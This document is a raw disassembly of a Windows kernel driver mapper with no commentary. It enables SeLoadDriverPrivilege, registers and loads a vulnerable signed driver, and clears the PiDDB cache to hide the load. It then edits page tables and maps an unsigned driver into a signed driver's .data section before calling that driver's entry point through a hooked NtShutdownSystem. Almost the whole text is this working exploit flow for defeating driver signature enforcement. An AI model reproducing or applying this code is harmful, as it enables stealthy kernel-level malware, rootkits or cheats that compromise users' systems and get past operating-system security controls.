xorps xmm1, xmm1
movdqu xmmword [rbp + 0x108], xmm1
mov qword [rbp + 0x118], rdi
lea rsi, [0x1400772e0]
mov qword [rbp + 0xb0], rsi
lea rax, str._Y_b_
mov qword [rsp + 0x70], rax
lea r9, [rsp + 0x70]
lea r8, [rbp + 0xb0]
mov edx, 0x6650
lea rcx, [rbp + 0x108]
call fcn.140054b30
nop
mov r8d, 0x10
lea rdx, [rbp + 0x188]
lea rcx, [0x140090b34]
call fcn.140057660
nop
lea rcx, [rbp + 0x1b8]
call fcn.1400660d0
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x140062e7a
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x20]
call fcn.140054bf0
nop
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
lea rcx, [rbp - 0x20]
call fcn.14005e2a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x20]
call fcn.1400149d0
nop
lea rcx, [rbp + 0x1b8]
call fcn.14005dd70
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1f0]
call fcn.14006e5f8
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rcx, [rbp + 0x1f0]
call fcn.1400565f0
nop
mov r8, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x108]
sub r8, rdx
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1f8]
call fcn.14005e590
test rax, rax
jne 0x140062fc7
mov rax, qword [rbp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1f0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0xc8]
call fcn.140054a00
mov qword [rbp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140063444
mov qword [rbp + 0xb0], rdi
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 7
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140063444
mov dword [rbp + 0x90], 1
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x94], rax
mov dword [rbp + 0x9c], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x90]
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140063444
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xc8]
call fcn.14005dd70
xor r8d, r8d
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x80]
call fcn.1400547d0
nop
mov rdx, rax
lea rcx, [rbp]
call fcn.14005de70
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400630df
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x20]
call fcn.140054bf0
nop
lea r8, [rbp - 0x20]
lea rdx, str.___
lea rcx, [rbp + 0x1b8]
call fcn.1400548d0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0xc8]
call fcn.1400147c0
nop
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
lea rcx, [rbp + 0xc8]
call fcn.14005e2a0
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14006324f
mov bl, 1
jmp 0x140063354
mov rsi, qword [r14 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8, qword [rbp + 0x158]
cmp r8, 0xf
jbe 0x1400631f7
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x140]
call fcn.14005d240
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
jmp 0x140062b3c
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8, qword [rbp + 0x100]
cmp r8, 0xf
jbe 0x140062dcd
mov rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0xe8]
call fcn.14005d240
jmp 0x140062dcd
mov byte [rbp + 0x80], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14006328f
mov bl, 1
jmp 0x140063354
mov byte [rbp + 0x83], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x83]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400632cf
mov bl, 1
jmp 0x140063354
mov byte [rbp + 0x82], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x82]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14006330c
mov bl, 1
jmp 0x140063354
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140063319
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140063344
mov bl, 1
jmp 0x140063354
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0xc8]
call fcn.1400149d0
nop
lea rcx, [rbp + 0x1b8]
call fcn.1400149d0
nop
lea rcx, [rbp - 0x20]
call fcn.1400149d0
nop
lea rcx, [rbp]
call fcn.14005dd70
nop
lea rcx, [rbp - 0x80]
call fcn.14005dd70
test bl, bl
jne 0x140063450
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xe8]
call fcn.1400147c0
nop
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x198]
lea rcx, [rbp + 0xe8]
call fcn.14005e2a0
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0x1a8]
call sub.ntdll.dll_RtlInitAnsiString
mov r8b, 1
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_RtlAnsiStringToUnicodeString
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_NtLoadDriver
test eax, eax
sete bl
lea rcx, [rbp + 0xe8]
call fcn.1400149d0
jmp 0x140063452
lea rcx, [rbp + 0xc8]
call fcn.14005dd70
xor bl, bl
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x1b8]
call fcn.140056700
mov byte [rbp + 0x1d8], bl
lea rcx, [rbp + 0x1f0]
call fcn.140057990
nop
lea rcx, [rbp + 0x120]
call fcn.1400149d0
nop
lea rcx, [rbp + 0x188]
call fcn.1400149d0
nop
lea rcx, [rbp + 0x108]
call fcn.1400572d0
nop
test bl, bl
jne 0x1400634dd
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x14007e670]
movdqu xmmword [rbp - 0x70], xmm1
mov byte [rbp - 0x80], bl
mov qword [rbp + 0x160], rdi
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x168]
call fcn.140056700
nop
lea rcx, [rbp - 0x80]
call fcn.1400149d0
jmp 0x14006352c
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140090b38], rax
mov qword [rbp + 0x160], rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x168]
call fcn.140056700
nop
lea rcx, [rbp + 0x1b8]
call fcn.1400149d0
nop
cmp qword [rbp + 0x160], 0
je 0x140063e2b
cmp qword [rbp + 0x178], 0
je 0x140063e2b
lea rdx, str.vulnerable_driver_loaded__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova rdx, qword [rbp + 0x168]
mov rcx, rax
call fcn.140014560
mov rcx, rax
lea rdx, [0x14007e2c4]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x81]
call fcn.140069300
mov eax, 0x5a4d
cmp word [0x1400772e0], ax
jne 0x1400635d0
movsxd r8, dword [0x14007731c]
add r8, 8
add r8, rsi
jmp 0x1400635d6
mov r8d, 4
mov r8d, dword [r8]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x81]
call fcn.140069ca0
test al, al
jne 0x140063655
lea rdx, str.Failed_to_clear_PiDDB_cache_table.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x1b8]
call fcn.140056700
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140063648
mov rcx, rbx
call fcn.140066740
nop
mov rcx, rbx
call fcn.1400149d0
jmp 0x140063e4f
mov rbx, r14
mov esi, dword [rsp + 0x68]
mov qword [rsp + 0x70], rsi
lea r15, [rsi + r14]
mov edx, 4
cmp r14, r15
jae 0x1400639ab
mov ecx, dword [0x140090e10]
mov rax, qword gs:[0x58]
mov r14, qword [rax + rcx*8]
add r14, rdx
nop dword [rax]
mov eax, dword [r14]
cmp dword [0x140090bb8], eax
jle 0x1400636e0
lea rcx, [0x140090bb8]
call fcn.14006d968
cmp dword [0x140090bb8], 0xffffffff
jne 0x1400636e0
lea rcx, [0x140076e60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140090bb0], rax
lea rcx, [0x140090bb8]
call fcn.14006d8fc
lea rcx, [0x140090100]
call sub.MSVCP140.dll__Mtx_lock
test eax, eax
jne 0x140063f47
cmp dword [0x14009014c], 0x7fffffff
je 0x140063f32
mov dword [rbp + 0x108], 0x25ff
mov word [rbp + 0x10c], ax
mov qword [rbp + 0x10e], r12
mov rcx, qword [0x140090b40]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x1a8]
call fcn.140064900
mov rcx, qword [0x140090b40]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x108]
call fcn.140066eb0
mov rax, qword [0x140090bb0]
mov rcx, rbx
call rax
mov rsi, rax
mov rcx, qword [0x140090b40]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x1a8]
call fcn.140066eb0
lea rcx, [0x140090100]
call sub.MSVCP140.dll__Mtx_unlock
mov r9d, 8
mov r8, rsi
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x81]
call fcn.14006b840
test al, al
jne 0x1400637a8
xor eax, eax
mov qword [rbp + 0x20], rax
lea rdx, str.manipulating_page_table__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0xf
cmova rdx, qword [rbp + 0x168]
mov rcx, rax
call fcn.140014560
mov rcx, rax
lea rdx, str._._Large_page__
call fcn.140014560
mov rdx, qword [rbp + 0x20]
shr rdx, 7
and edx, 1
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x14007e2c4]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp + 0x20]
test al, al
jns 0x140063842
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0x20], rax
lea r8, [rbp + 0x20]
jmp 0x140063981
mov eax, dword [r14]
cmp dword [0x140090bb8], eax
jle 0x140063892
lea rcx, [0x140090bb8]
call fcn.14006d968
cmp dword [0x140090bb8], 0xffffffff
jne 0x140063892
lea rcx, [0x140076e60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140090bb0], rax
lea rcx, [0x140090bb8]
call fcn.14006d8fc
lea rcx, [0x140090100]
call sub.MSVCP140.dll__Mtx_lock
test eax, eax
jne 0x140063f27
cmp dword [0x14009014c], 0x7fffffff
je 0x140063f12
mov dword [rbp + 0xb8], 0x25ff
mov word [rbp + 0xbc], ax
mov qword [rbp + 0xbe], r13
mov rcx, qword [0x140090b40]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140064900
mov rcx, qword [0x140090b40]
nop
mov r8d, 0xe
lea rdx, [rbp + 0xb8]
call fcn.140066eb0
mov rax, qword [0x140090bb0]
mov rcx, rbx
call rax
mov rsi, rax
mov rcx, qword [0x140090b40]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140066eb0
lea rcx, [0x140090100]
call sub.MSVCP140.dll__Mtx_unlock
mov r9d, 8
mov r8, rsi
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x81]
call fcn.14006b840
test al, al
jne 0x14006395b
xor eax, eax
jmp 0x140063962
mov rax, qword [rbp + 0xb0]
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
mov r9d, 8
mov rdx, rsi
lea rcx, [rbp + 0x81]
call fcn.14006c070
add rbx, 0x1000
cmp rbx, r15
jb 0x140063690
mov rsi, qword [rsp + 0x70]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov r13, qword [rsp + 0x40]
mov r8d, dword [r13 + 0x54]
mov rdx, qword [0x1400909f8]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.local_mapped_image_base__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x14007e2c4]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, word [r13 + 0x14]
lea r15, [r13 + 0x18]
add r15, rax
mov r12, qword [rsp + 0x78]
cmp di, word [r13 + 6]
jae 0x140063b1b
lea rsi, [r15 + 0xc]
nop dword [rax + rax]
mov ebx, dword [rsi]
add rbx, r14
mov r8d, dword [rsi + 4]
mov edx, dword [rsi + 8]
add rdx, qword [0x1400909f8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.mapping_section__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
movsxd rcx, edi
lea r8, [rcx + rcx*4]
lea rdx, [r15 + r8*8]
mov rcx, rax
call fcn.140014560
lea rdx, [0x14007e43c]
mov rcx, rax
call fcn.140014560
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, str._____
call fcn.140014560
mov edx, dword [rsi]
add rdx, r12
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str.___0x
call fcn.140014560
lea rdx, [0x140061580]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rsi + 4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14007e2c4]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
lea rsi, [rsi + 0x28]
movzx eax, word [r13 + 6]
cmp edi, eax
jl 0x140063a40
mov rsi, qword [rsp + 0x70]
lea rdx, str.mapping_driver___signed_driver_in_section__.data__with_size__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [0x140061580]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rsp + 0x68]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, [0x14007e2c4]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, r12
sub rbx, qword [r13 + 0x30]
mov rdx, r14
lea rcx, [rbp + 0x90]
call fcn.1400689b0
mov rdx, rbx
mov rcx, rax
call fcn.140068ae0
mov rdx, r14
lea rcx, [rbp + 0x90]
call fcn.140068130
mov rcx, rax
call fcn.140068d90
test al, al
jne 0x140063c0b
lea rdx, str.failed_to_resolve_imports.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x1b8]
call fcn.140056700
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140063bfe
mov rcx, rbx
call fcn.140066740
nop
mov rcx, rbx
call fcn.1400149d0
jmp 0x140063e4f
mov r8d, dword [r13 + 0x54]
xor edx, edx
mov rcx, r14
call fcn.14006e5f8
mov r9, rsi
mov r8, r14
mov rdx, r12
lea rcx, [rbp + 0x81]
call fcn.14006c070
mov ebx, dword [r13 + 0x28]
add rbx, r12
lea rdx, str.mapped_entry_point__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x14007e2c4]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, dword [r13 + 0x50]
mov r8d, dword [0x140090e10]
mov rax, qword gs:[0x58]
mov r8, qword [rax + r8*8]
mov eax, 4
mov eax, dword [rax + r8]
cmp dword [0x140090bc8], eax
jle 0x140063ce1
lea rcx, [0x140090bc8]
call fcn.14006d968
cmp dword [0x140090bc8], 0xffffffff
jne 0x140063ce1
lea rcx, [0x140076e60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140090bc0], rax
lea rcx, [0x140090bc8]
call fcn.14006d8fc
lea rcx, [0x140090150]
call sub.MSVCP140.dll__Mtx_lock
test eax, eax
jne 0x140063f52
cmp dword [0x14009019c], 0x7fffffff
je 0x140063ec5
mov dword [rbp + 0xb8], 0x25ff
mov word [rbp + 0xbc], ax
mov qword [rbp + 0xbe], rbx
mov rcx, qword [0x140090b40]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140064900
mov rcx, qword [0x140090b40]
nop
mov r8d, 0xe
lea rdx, [rbp + 0xb8]
call fcn.140066eb0
mov rax, qword [0x140090bc0]
mov rdx, rdi
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [0x140090b40]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140066eb0
lea rcx, [0x140090150]
call sub.MSVCP140.dll__Mtx_unlock
lea rdx, str.driver_entry_returned__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [0x140061580]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x14007e2c4]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x1b8]
call fcn.140056700
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140063e12
mov rcx, rbx
call fcn.140066740
test al, al
je 0x140063e12
mov dil, 1
jmp 0x140063e15
xor dil, dil
mov rcx, rbx
call fcn.1400149d0
test dil, dil
jne 0x140063e4f
lea rdx, str.unable_to_unload_vulnerable_driver.
jmp 0x140063e32
lea rdx, str.unable_to_load_vulnerable_driver.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x160]
call fcn.140057240
jmp 0x140063e8a
lea rdx, str.failed_to_sig_scan_PTE_functions.
jmp 0x140063e6d
lea rdx, str.failed_to_load_signed_driver__please_restart_your_computer
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.140057420
mov al, 1
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.14006d660
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
